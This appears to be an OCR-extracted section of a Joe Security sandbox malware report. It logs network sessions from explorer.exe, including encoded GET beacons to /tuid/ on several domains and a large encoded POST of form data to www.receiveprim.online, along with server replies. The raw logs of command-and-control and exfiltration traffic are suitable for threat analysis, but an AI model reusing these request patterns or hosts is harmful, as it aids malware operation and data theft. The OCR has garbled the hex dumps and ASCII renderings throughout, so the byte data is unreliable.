64 32 68 50 5a 6¢ 78 64 74 28 74 6a 5f 4a 39 37 51 4c 6e 7e 64 36 33 44 57 64 42 4f 5f 39 73 46 38 55 48 4a 47 72 37 31
5a 79 4e 72 6d 6f 71 41 34 75 42 79 49 65 42 4f 49 4c 52 68 62 78 37 42 43 78 58 43 4c 6b 70 63 59 5a 52 70 61 56 43
39 5f48 44 36 48 334163 75 35 78 5a 75 63 33 36 62 33 53 51 76 41 30 53 4b 7e 49 76 63 65 63 28 6b 69 39 46 47 76
6¢ 55 6e 50 4e 71 73 6¢ 66 42 75 37 38 5a 4f 52 63 72 69 6f 33 57 31 56 36 72 43 38 35 36 71 6b 4b 57 53 79 43 4c 6b
6b 56 69 55 78 4e 65 62 59 6a 54 59 6a 33 67 4b 51 5f 45 4a 7e 37 67 55 31 5a 4e 4c 74 52 4f 6b 6a 53 36 71 78 31 43
47 6¢ 6a 52 4d 45 5f 41 55 6d 7a 73 64 45 68 36 63 4c 35 4e 61 38 5a 38 37 28 32 42 79 28 72 59 79 6a 34 35 69 70 62
55 7a 42 79 59 70 45 32 61 6b 78 4e 45 68 74 6b 71 62 35 44 6¢ 39 6d 75 65 33 33 46 54 54 59 30 77 54 50 68 51 36 7e
42 53 41 41 44 53 65 4f 4e 6e 30 55 67 47 59 28 6a 76 38 77 5f 31 4b 49 6a 66 6d 4a 6b 75 69 6f 54 7a 36 47 68 46 49 3
066 66 62 70 72 6f 6e 34 6f 62 48 6f 6d 7a 56 7a 45 37 36 34 45 69 61 67 53 54 74 76 65 43 73 52 65 48 31 58 6d 57 77
61 47 42 30 6d 59 30 47 58 77 4e 55 48 4f 78 4e 41 5f 6b 43 73 30 51 35 63 6f 79 4f 31 45 57 73 6b 52 48 39 58 71 6e 30
6¢C 46 77 58 64 74 75 68 51 54 68 30 53 71 69 78 47 52 47 4d 35 6f 7a 4e 43 31 56 52 6e 64 72 49 54 59 34 34 73 4d 61
54 62 4c 62 39 58 78 47 52 67 75 6d 4a 39 79 4b 34 48 70 68 6a 46 46 52 44 6a 4d 72 4e 4c 6¢ 6¢ 76 62 59 42 6¢ 48 49
6¢ 72 71 4d 31 75 4f 33 79 4e 4b 4f 7e 54 61 6e 30 35 56 44 7a 6f 37 70 36 56 70 58 36 59 6a 2d 56 63 51 79 53 5f 30 39
41 2d 4c 63 4a 4c 54 6d 65 44 28 5a 6d 63 41 38 63 44 6¢ 6e 65 63 77 42 31 67 49 55 55 63 39 56 39 4c 46 47 50 37 41
62 71 4b 4b 65 53 61 52 36 49 73 69 67 6b 6¢ 61 56 7e 53 76 4d 42 68 57 78 6e 30 72 75 4b 6b 79 65 47 2d 28 64 56 50
48 57 4¢ 78 72 70 30 44 35 65 50 37 4¢ 36 70 4a 70 53 65 37 74 5f 71 70 6d 30 4f 62 62 57 5a 2d 66 64 50 30 33 54 63
34 6e 57 63 6b 32 32 7e 5f 46 65 4d 4b 71 61 56 71 28 31 4e 5f 52 4a 5a 42 65 2d 4e 53 6a 63 73 53 6a 71

Data Ascii: m4bd=WUnLIbTYtmg21r8y4F57qq9R9RzZAREFW3SNFgBIRhww2DeHqOMSolyRhG81JPLHjoACB-Zjx
lgeobY95_epl8ffnCN8FihT2pbK7iYbJkwuzVQRIbhWdsgBCz1yKlgcQ8N-8zBIpfBWhfNry9w0OgvyqTVoVvezR3u
SuKFzH70FNnPQNVWBHNMd3UW77TFQdTyal4-9nwXIRaPMWZYuSX0sdoNDp4mxWVRIQOLDCWvSX4u5esum
TNUJB7vhtapohgK(QdmnHRLciBBmI2n7FHPGvV3nNLPeFterO60MyvhES9KT1-QbTsKgBywjV7rZtPPyPzbWpnOud73
ifyMCzwSI~yUY2e79Y9LG6UWjtHh6ZAYHOp3BfT4DdXhc5LppHbCyXBWA2ePT4kC3YbUveHMImcFXT9VxVe(xpbcWN
TYCXjsMAZpDnupolMtOL1uvNJ1IHLOF200BLwWcK73TkAohGDPsNe2pc38U92jd6ItIvz2rpY QPxjb71yPcO3RuQtR3q
gvRURKo06xypKZDgEFXWRHOfFxQyrUb8f9ysMFOrNkFf33MOO-wVG1sKOTEXB4XFDjFU3PRFGOeXsNOon
10Y8n(mAB3MPwBbfuXzyreommP1lyargMGVYRyx-Mh78RtTGyX~I1RQXr1IMVCQQNvoKHfTQ_SSTRARhwZ
4fRpucp8AYVIBzDKI90dgad2hPZIxdt(tj_J97QLn~d63DWdBO_9sF8UHJIGr71ZyNrmogA4uByleBOILRhbx7BCxXC
LkpcYZRpaVC9_HD6H3Acu5xZuc36b3SQVAO0SK~Ivcec(ki9FGvIUnPNQgsIfBu78ZORcrio3W1V6rC856qkKWSyCLkk
ViUxNebY|TY|3gKQ_EJ~7gU1ZNLtROkjS6gx1CGIjRME_AUmzsdEh6cL5Na8Z87(2By(rYyj45ipbUzByYpE2akxNE
htkgb5DI9mue33FTTYOWTPhQ6~BSAADSeONNOUgGY (jv8w_1KljfmJkuioTz6GhFI0ffopron4obHomz\VzE764Eiag
STtveCsReH1XmWwaGBOmMYOGXWNUHOXNA_kCs0Q5coyO1EWskRHIXgnOIFwXdtuhQThOSqixGRGM50zNC
1VRNdrITY44sMaTbLb9XXGRgumJ9yK4HphjFFRDMrNLIIvbYBIHIIrgM1uO3yNKO~Tan05VDzo7p6VpX6Yj-VcQyS_09A-
LcILTmeD(ZmcA8cDInecwB1glUUcIVILFGP7AbgKKeSaR6lIsigklaV~SvMBhWxn0ruKkyeG-(dVPHWLxrpOD5
eP7L6pJpSe7t_gpm0OObbWZ-fdP03Tc4nWck22~_FeMKgaVg(1N_RJZBe-NSjcsSjqzLVED7LE3ce8M09yVJI8u3nT-w
yKOybOXZDO0d0TSnUR6t18SyfR2QWZiirFIPLJIiuQVj(TKKkigi_~cDtWvZaduc5d5¢7S5NIFJfI7ZG5rDoaiigLD7F
iB3HMz9ccy7DtqAld2eEIO1Wjvkk-(F3ulOMPmgapOu5-GKOVvZDIpjVHJCW-kDUOQxuFdv83pEArzSXxzopMMFIKJ
RzulL5dUZokkveagG0zfdzroX1liFlaBfScVWNyray7FsVB-jlk3ykyUNrciZ56yhWhlamiSpfguyaX05zpASayFPXciWMtxSiuFR
bBI26ytBEYvMO~xsnnLgfBlIp~-pupkChgCLrNPelclmOhcCXiuvVzO2Ch89cUquiqLwM22JfEFhMBXouZCHCBiwM_O
KeEwAIrArgjgMXf3FCHVCcE1KqO2Qaj7WuFXqimUXCh-GLQbJkuOEcIxMh2URDszJ68DXESgDom7Swc9YAWeaioqtPf
BnFB20zgOkwBOKYmanzf2UaQdow9D32JU(xC4c_nH1kkfDAUoakQDEnNulyl~WC6SP6Hi6yaBfFIS9BIOV]CW_ytbyl
zC2Hjq7(nTHYNT2hY9wzRW14SXCMgF3kPDQ(DWrlc4VMGtK1QhSBJhoehziKUpQnii6zp5ksoLIDjntAw3JbtNOKEy
DKKOuZ9hyES5rlonMfkg7yrE4SWIFOUXX702NXGmOO3BRrq_yO7qnIMz4LzGpzXdfHmhOno6GFTPgmoLk_po7hrPOXJ
kHV7_967Kr9I3ZfLoicXKoUQyMwj7(GMwxJZFXf(dBa7kOV~VV2EGCOUH~aDtCfL2cTHOKIys3JbFc80W~NtTIR(bG
bcFOK3u4ccclsUCQEIY Ocx2pukKImHUMHZe-9CXTVEpDwVie91cQyIxXCOy5kY2QWGXJIK6
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kBytes

Timestamp A Direction
Aug 8, 2022 1616 IN
17:45:41.443969011
CEST
Session ID Source IP Source Port
19 192.168.11.20 49780
kB!
Timestamp A Direction
transferred

Aug 8, 2022 1614 ouT
17:45:41.443695068
CEST
Aug 8, 2022 1630 IN
17:45:41.464845896
CEST
Session ID Source IP Source Port
2 192.168.11.20 49755

. kBytes . .
T Di

imestamp transferred irection
Aug 8, 2022 445 ouT
17:44:23.413017035
CEST

Copyright Joe Security LLC 2022

89.46.108.25 80

154.95.160.71 80

Data

HTTP/1.1 301 Moved Permanently

Server: aruba-proxy

Date: Mon, 08 Aug 2022 15:45:41 GMT

Content-Type: text/html

Content-Length: 168

Connection: close

Location: https://www.ap-render.com/tuid/

X-ServerName: ipvsproxy141.ad.aruba.it

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 61 72 75 62 61 2d 70 72 6f 78 79 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79
3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</tittle></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>aruba-proxy</center></body></html>

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /tuid/?M8s=w86DJpgx5FYIUfRP&mM4bd=ZWTx79zL1WMN2pQcyBYApaV2+B3RRIV7SjHEUZJIPfkwT7h+aiOtTu
fuSzn8LCa71qLhl HTTP/1.1

Host: www.ap-render.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Server: aruba-proxy

Date: Mon, 08 Aug 2022 15:45:41 GMT

Content-Type: text/html

Content-Length: 168

Connection: close

Location: https://www.ap-render.com/tuid/?M8s=w86DJpgx5F YIUfRP&m4bd=ZWTx79zL1IWMN2pQcyBYApa
V2+B3RRIV7SjHEUZJIPfkwT7h+aiOtTufuSzn8LCa71qLhl

X-ServerName: ipvsproxyl141.ad.aruba.it

Data Raw: 3¢ 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3¢ 63 65 6e 74 65 72 3e 3¢
68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 61 72 75 62 61 2d 70 72 6f 78 79 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79
3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1
></center><hr><center>aruba-proxy</center></body></html>

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

GET /tuid/?M8s=w86DJpgx5FYIUfRP&m4bd=83varyKolJIBCknPQYIlgcSGzNVcyrkZOB+D5ZpiMCIZzhWRqo67Up
TDjwXxWVk8XKYz02 HTTP/1.1

Host: www.emitacademy.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp e Direction
Aug 8, 2022 446 IN
17:44:23.694823980
CEST
Session ID Source IP Source Port
20 192.168.11.20 49785
. kBytes . .
Ti Di
imestamp transferred irection

Copyright Joe Security LLC 2022

Data

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 08 Aug 2022 15:44:23 GMT

Content-Type: text/html;charset=utf-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Data Raw: 38 36 65 66 0d Oa ef bb bf 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 20 6d 69
70 3e 0d Oa 3c 68 65 61 64 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d
0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65
22 20 63 6f 6e 74 65 6e 74 3d 22 7a 68 2d 43 4e 22 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65
77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69
6d 75 6d 2d 73 63 61 6¢ 65 3d 31 2c 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 74 69 74
6C 652064 61 7461 2d 72 65 61 63 74 2d 68 65 6¢ 6d 65 74 3d 22 74 72 75 65 22 3e e4 b8 ad e5 9b bd 20 2d 20 28 e5
8d 81 e5 88 86 €9 a3 9e €8 89 87 29 e6 9c 89 €9 99 90 e5 85 ac e5 8f b8 €3 80 90 e5 ae 98 e7 bd 91 e3 80 91 3c 2f 74
69 74 6¢ 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e
74 3d 22 e5 8d 81 e5 88 86 €9 a3 9e e8 89 87 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69
70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 €3 80 90 e6 8a 95 e5 85 a5 e6 a2 a6 e6 83 b3 20 e6 b3 a8 e5 ae 9a e7
b2 be e5 bd a9 €3 80 91 e5 8d 81 e5 88 86 €9 a3 9e e8 89 87 e3 80 90 67 63 31 31 36 2e 63 63 €3 80 91 e5 85 a8 e7 90
83 e58d 8e e4 babae9 al b6 e7 baa7 e5 a8 bl e4 b9 90 e5 b9 b3 e5 8f b0 e4 b9 8b e4 b8 80 ef bc 8¢ e4 b8 ba e6 82
a8 e6 8f 90 e4 be 9b e9 ab 98 €5 93 81 e8 b4 a8 e3 80 81 €9 ab 98 e8 b5 94 e7 8e 87 e7 9a 84 e5 a8 bl e4 b9 90 e6 b8
b8 e6 88 8f e5 8f 8a 6 89 80 e6 9c 89 e7 ba bf e4 b8 8a e6 8a 95 €6 b3 a8 ef bc 8¢ e6 88 91 e4 bb ac e8 87 b4 e5 8a 9b
e4 ba 8e e6 8f 90 e4 be 9b e5 85 a8 e7 90 83 e5 ae a2 e6 88 b7 e6 9c 80 e6 9c 89 e4 bb b7 e5 80 bc e7 9a 84 e6 b8 b8
e6 88 8f e4 bd 93 e9 aa 8c e3 80 82 22 3e 0d 0a 20 20 20 20 3c 6¢ 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73
7322207265 6¢ 3d 22737479 6¢ 65 73 68 6565 74 22 20 68 72 65 66 3d 22 2f 74 65 6d 70 6¢ 61 74 65 2f 73 74 61
74 69 63 2f 63 73 73 2f 6d 69 70 2e 63 73 73 22 3e 0d Oa 20 20 20 20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 6¢ 74 65 72
6e 61 74 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 65 6d 69 74 61 63 61 64 65 6d 79 2e 63 6f 6d 2f 73
69 74 65 6d 61 70 2e 78 6d 6¢ 22 20 74 79 70 65 3d 22 61 70 70 6¢ 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6¢ 22 3e
0d 0a 20 20 20 20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 63 61 6e 6f 6e 69 63 61 6¢ 22 20 74 69 74 6¢ 65 3d 22 €5 8d 81 e5
88 86 €9 a3 9e 8 89 87 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 65 6d 69 74 61 63 61 64 65 6d 79 2e
63 6f 6d 22 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6¢ 69 63 61 62 6¢ 65 2d 64 65 76 69 63
65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 63 2c 6d 6f 62 69 6¢ 65 22 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70
2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6¢ 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 74 72 61 6e 73
66 6f 72 6d 22 20 2f 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6
f6e 74 72 6f 6¢ 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 69 74 65 61 70 70 22 20 2f 3e 0d Oa 20 20 20 20 3c 6d 65 7
461 20 6e 61 6d 65 3d 22 4d 6f 62 69 6¢ 65 4f 70 74 69 6d 69 7a 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68
22 2f 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 48 61 6e 64

Data Ascii: 86ef<!doctype html><html mip><head> <meta charset="utf-8"> <meta http-equiv="Content-Language"
content="zh-CN"> <meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1">  <title dat
a-react-helmet="true"> - ()</titte> <meta name="keywords" content=""><meta name="description" content=" gc116.cc">
<link type="text/css" rel="stylesheet" href="/template/static/css/mip.css"> <link rel="alternate" href="http://www.e
mitacademy.com/sitemap.xml" type="application/rss+xml">  <link rel="canonical" title="" href="http://www.emitacademy.c
om"> <meta name="applicable-device" content="pc,mobile"> <meta http-equiv="Cache-Control" content="no-tr
ansform" /> <meta http-equiv="Cache-Control" content="no-siteapp” /> <meta name="MobileOptimized" conten
t="width"/> <meta name="Hand

Destination IP  Destination Port Process
188.114.96.3 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp T Direction
Aug 8, 2022 1677 ouT
17:45:46.526824951

CEST

Copyright Joe Security LLC 2022

Data

POST /tuid/ HTTP/1.1

Host: www.receiveprim.online

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.receiveprim.online

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.receiveprim.online/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 32 58 50 32 69 48 78 4c 75 42 68 54 6e 75 49 38 71 6f 6f 6b 77 55 38 63 38 31 52 54 47 42 32
5a44 70 48 6b 72 51 6d 6a 43 43 66 31 4c 39 67 72 59 63 73 4f 53 76 31 65 6e 37 31 38 31 61 65 48 6¢ 6a 72 67 7a 77
63 78 4d 51 74 46 52 42 48 32 32 65 6f 4b 32 52 34 34 37 58 49 7a 48 6a 57 32 4d 7a 47 56 41 38 45 79 6b 76 67 6b 51
4b 4f 38 54 4e 72 39 4a 38 34 61 35 62 31 4e 37 6b 32 59 4f 66 32 49 34 41 34 6a 42 30 75 6e 77 5a 75 31 6f6c 59 74 4
17528 7ade 42 51 39 67 48 6¢ 59 69 56 7a 77 44 4b 71 34 78 56 59 57 68 41 74 56 4e 71 35 61 63 2d 63 4e 59 73 42
41 30 56 6¢ 66 4a 53 76 74 45 76 65 46 7a 44 31 33 56 74 63 52 63 46 64 47 4b 58 73 4f 63 4a 33 54 4e 4b 6e 6b 78 4c
4c 52 32 45 4a4a52 37 4b 71 73 41 75 75 7e 6b 44 55 59 78 28 66 50 70 59 5a 30 63 28 50 33 41 32 57 4b 6¢ 4c 54 66
65 6¢ 6b 54 7a 4a 6e 37 71 36 33 74 76 74 71 71 54 37 78 49 6d 36 38 78 57 51 6b 52 41 64 49 7e 4c 7e 48 50 76 67 58
31 56 64 5f 44 59 6f 4f 76 6¢ 6¢ 78 4e 48 70 48 66 58 71 6d 72 35 46 69 54 6d 7e 6b 56 62 71 7a 78 57 37 73 6¢ 38 49 53
73 64 54 50 46 69 72 6d 42 48 4f 4b 56 38 48 62 4d 66 6a 7a 30 76 6a 75 6d 50 6¢ 63 73 58 58 4e 76 79 6d 77 69 75 56
68 28 65 45 67 77 74 31 56 46 65 36 62 56 55 38 51 33 6e 73 58 46 78 37 43 73 72 74 6a 42 74 7a 33 4e 37 45 65 39 33
56 55 7a 42 79 55 41 69 79 63 47 45 72 77 65 65 33 78 51 32 74 46 7a 6f 42 45 38 37 71 37 56 76 51 31 66 77 79 5f 73
51 52 73 58 6f 39 5f 35 55 39 37 75 71 42 31 59 66 62 4f 74 38 47 37 28 38 69 58 7a 4f 43 38 79 5f 42 4e 4b 74 67 6f 46
7334 6d 77 79 28 39 54 34 66 30 6b 42 59 62 4b 34 70 4e 57 6b 36 30 68 79 41 46 39 56 63 52 70 58 35 70 6f 77 45 65
415571 3751733549 7556 72 6d 30 77 50 68 75 4a 32 6d 28 72 4d 71 5a 46 45 49 64 4c 28 49 59 75 33 49 4a 52 61
5f 53 7a 54 4a 67 2d 44 54 51 4d 68 70 79 6a 78 77 77 55 50 58 59 56 32 73 32 6¢ 5a 39 73 78 37 44 4a 77 6¢ 76 39 50
3959 32 61 79 31 62 55 68 64 4a 41 4b 6b 4c 36 63 35 37 76 33 38 64 62 65 36 69 48 31 76 48 45 6a 49 43 49 32 4a 4d
6d 77 6a 6a 38 46 74 52 69 45 52 67 66 6d 5a 53 66 65 74 67 76 73 65 46 46 46 65 34 66 6b 62 67 33 30 79 4d 65 43 67
64 6f 47 55 6f 66 66 74 75 64 35 45 30 57 4d 4c 6f 4e 49 54 30 33 77 63 32 59 70 6d 54 43 7e 32 71 30 64 52 66 73 42 4e
36 42 65 4c 4d 70 51 75 6a 69 73 61 69 57 53 4c 4d 36 41 48 6¢ 76 68 62 44 6¢ 38 56 64 62 6a 6d 51 38 61 48 68 5a 72
67 56 34 6¢ 66 78 4d 35 58 6f 4f 63 6a 69 49 62 5f 6b 63 49 74 4e 71 33 51 43 4b 49 59 50 61 32 47 72 48 7a 4c 50 77
61 4b 4d 2d 69 6d 48 63 6e 43 4c 37 4c 64 6a 37 56 46 75 62 77 61 6f 53 6b 76 7e 36 67 79 68 4c 6e 64 69 71 68 53 4d
7a 34 6e 6e 57 44 63 4e 67 33 58 41 4a 4e 6e 56 52 70 75 46 65 4b 6b 7e 64 74 65 54 4d 64 5a 30 47 70 4a 68 67 77 36
6e 46 4e 32 6d 58 66 37 30 56 52 75 41 6d 54 77 41 67 44 39 4f 52 71 A7 28 4f 34 44 4c 6a 68 2d 68 6f 45 38 63 63 68
56 75 2d 73 6a 34 55 5a 5a 73 5a 42 39 67 6b 45 75 46 5a 4b 57 54 64 76 44 32 49 6d 6¢ 5a 43 45 4b 4a 48 28 5f 39 48
34 53 62 39 37 49 63 7a 66 4a 5a 62 53 34 67 37 65 5a 45 36 6a 58 7a 54 53 55 6b 61 74 64 69 79 6f 45 77 37 49 74 6f
5f 4e 73 4e 66 69 42 34 34 4f 73 55 42 67 6a 30 49 6b 4c 70 74 37 42 78 6a 79 6b 34 6d 7e 72 45 41 42 66 54 37 51 55 6
d 31 6e 4a50 41 31 51 70 32 32 77 70 4e 67 4d 51 2d 4d 61 50 39 48 5f 51 6¢ 74 58 43 34 74 55 61 71 51 43 7a 41 5a 4f
42 36 49 35 7e 6a 47 63 37 4e 69 32 65 63 7e 63 74 51 71 36 4f 68 41 69 67 72 39 41 35 77 6f 58 6a 44 53 39 46 6a 32
4e 42 42 75 43 67 36 67 41 61 71 64 62 49 53 4f 54 38 6d 52 6d 66 6a 55 70 32 4b 32 42 53 6d 79 69 69 37 51 32 5a 4d
30 6a 77 4b 4e 6d 34 72 28 72 4e 33 70 61 31 5f 4b 38 55 76 61 64 59 62 35 65 4e 5a 64 68 42 5f 32 76 73 54 67 4f 56
32 41 45 41 38 6d 4e 4d 38 76 4d 4d 48 49 67 63 56 58 73 4a 38 6¢ 65 4f 78 79 46 61 6f 6b 66 79 39 65 68 4f 4f 31 7a 72
48 62 45 65 32 4f 58 54 71 56 79 77 71 38 33 44 51 72 62 5a 35 71 6¢ 77 36 30 41 36 31 4d 4d 37 73 72 78 77 37 58 37
67 6a 5a 2d 49 49 69 6¢ 4e 6b 54 52 4e 46 61 33 7a 64 38 37 35 54 42 79 74 6b 5a 70 7a 35 4a 56 4b 2d 79 31 34 4b 67
30 57 45 28 50 33 48 49 74 57 65 6a 55 51 69 78 78 42 47 6¢ 64 49 6e 4c 63 76 79 71 36 4e 62 4c 30 63 57

Data Ascii: m4bd=2XP2iHxLuBhTnul8qookwU8c81RTGB2ZDpHkrQmjCCf1L9grYcsOSvlen718laeHI|jrgzwcxM
QtFRBH22e0K2R447XIzHjW2MzGVABEykvgkQKO8TNr9J84a5b1N7k2YOf214A4jBOunwZulolYtAu(zNBQIgHIYivVz
wDKg4xVYWhAtVNg5ac-cNYsBAOVIfISvtEveFzD13VicRcFAGKXsOcI3TNKNkxLLR2EJIR7KgsAuu~kDUYx(fPpYZ0
c(P3A2WKILTfelkTzIn7q63tvtaqT7xIm68XWQKRAdI~L~HPvgX1Vd_DYoOVIIXNHpHfXgmr5FTm~kVbazxW7sI8I
SsdTPFirmBHOKV8HbMfjzOvjumPlcsXXNvymwiuVh(eEgwt1VFe6bVU8Q3nsXFx7CsrtjBtz3N7Ee93VUzBYyUAiycG
Erwee3xQ2tFzoBE87q7VvQ1fwy_sQRsX09_5U97uqB1YfbOt8G7(8iXzOC8y_BNKtgoFs4mwy(9T4fOkBYbK4pNWk6
OhyAF9VcRpX5powEeAUq7Qs51uVrmOwPhud2m(rMgZFEIdL(IYu3lJRa_SzTJg-DTQMhpyjxwwUPXYV2s2|Z9sx7DJ
wlvOP9Y2aylbUhdJAKKL6c57v38dbe6iH1VHE]ICl2IMmwijj8FtRIERgfmZ Sfetgvse FFFe4fkbg30yMeCgdoGUoff
tud5EOWMLONITO3wc2YpmTC~2g0dRfsBN6BeLMpQuijisaiWSLM6AHIvhbDI8VdbjmQ8aHhZrgV4lfxM5XoOcijilb_k
cltNg3QCKIYPa2GrHzLPwaKM-imHcnCL7Ldj7VFubwaoSkv~6gyhLndighSMz4nnWDcNg3XAJINnVRpuFeKk~dteTMd
Z0GpJhgwBnFN2mXf70VRUAMTWAgD9ORqG(04DLjh-hoE8cchVu-sj4UZZsZBIgkEUFZKWTdvD2ImIZCEKJIH(_9H4Shb
971czfJZbS4g7eZE6jXzTSUkatdiyoEw7Ito_NsNfiB440sUBgj0IkLpt7Bxjyk4m~rEABfT7QUmM1nIPA1Qp22wpNgMQ-
MaP9H_QItXC4tUagQCzAZOB615~jGc7Ni2ec~ctQq60hAigroASwWoXjDS9Fj2NBBuCg6gAaqdblSOT8MRmIfjUp2
K2BSmyii7Q2ZMOjwKNm4r(rN3pal_K8UvadYb5eNZdhB_2vsTgOV2AEAB8MNM8vMMHIgcVXsJ8leOxyFaokfy9ehOO1
zrHbEe20XTqVywq83DQrbZ5qlw60A61MM7srxw7X7gjZ-1lIINKTRNFa3zd875TBytkZpz5JVK-y14KgOWE(P3HItW
€jUQixxBGldInLcvyg6NbLOcWOjMX(4SbBvLIgmQHXYDTsw13y9ymCiAV~4xwLcY5CeEXhC51eSkhODeh003Sdyxul
NSfT-YCcOmgqSAj~4F65MZw5CW5Knr3BolONC(KnrSzYJvnGIlveDgVKGB9u7dviM8T6iUxOB52tsc TNgF3m4XflMr
kXpmUzTtInCEL6nCwurCV5MitjDolbZ0yzBRITb7gVvWg5Alpo-uOW7GkgBLREIMIDMED1uHS7DB9P51Bs|(ZGpHoN
0jc8jpUQbMrIFkiQQMvh71tCEMOSXDopS036rxgd_tIDmosfbBONnkyhi5skQ3e4gpKvBvxXuwWLK2pBWr1O1L9uSEK
dywJ5wYxfgVWCNbx7Ihp4955kbgHcmBUdamVk64S1g4|IGRNg7ploGbiFnneEMxfVHrMaYVnztc-XFruALup9rNGaek
tBxwtGdkYVDGGRF700QVvXUZ6xSCC8~tT6YUO1hd3IviKjHIeW7usPcjaScjZ00Qib0r(SWapwFVV3XSMwMFCJIBSaUuZ
jOgjtNazpanZChr6T05nfgu5uSFITsieODUPdmMSOgEXMFXCnIS5i(r7nkvLyV8(tnMt_ZzJpaaOmmJreZICeLv2XExZ
PEfa6dAul8rrOL1IWJOX4PTUNgOBNmTZBYRIWa30N9RCpH(qV7XkmIHQSIaZQ4ndT9bffud_yrxBr2grsHcUgN7VsOd
ZVJoJL2lecHSEHmMpbx-gj4HPee0BQ8g5jq2194uKfBIrTjuBDMzJInxNoAjdewdH1dAw~IUEbXSj9pKEKYi6GUgyhILcIGINN-
bgQ8(0xT8CuUYA4xQOs2posrL3m21XzL7Rn7bayXavL2exRrpBTIOXKUsSPr1E2apaviSBSzBYyGZLf1x2JisYOHrW3IJP
1(MT5QSUI(7AYjh
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kBytes

Timestamp T Direction
Aug 8, 2022 1766 IN
17:45:46.551683903
CEST
Session ID Source IP Source Port
21 192.168.11.20 49786
kByt:
Timestamp yies Direction
transferred

Aug 8, 2022 1715 ouT
17:45:46.536997080
CEST
Aug 8, 2022 1767 IN
17:45:46.555999994
CEST
Session ID Source IP Source Port
22 192.168.11.20 49787

. kBytes . .
T Di

imestamp transferred irection
Aug 8, 2022 1768 ouT
17:45:58.222328901
CEST

Copyright Joe Security LLC 2022

188.114.96.3 80

217.21.87.131 80

Data

HTTP/1.1 301 Moved Permanently

Date: Mon, 08 Aug 2022 15:45:46 GMT

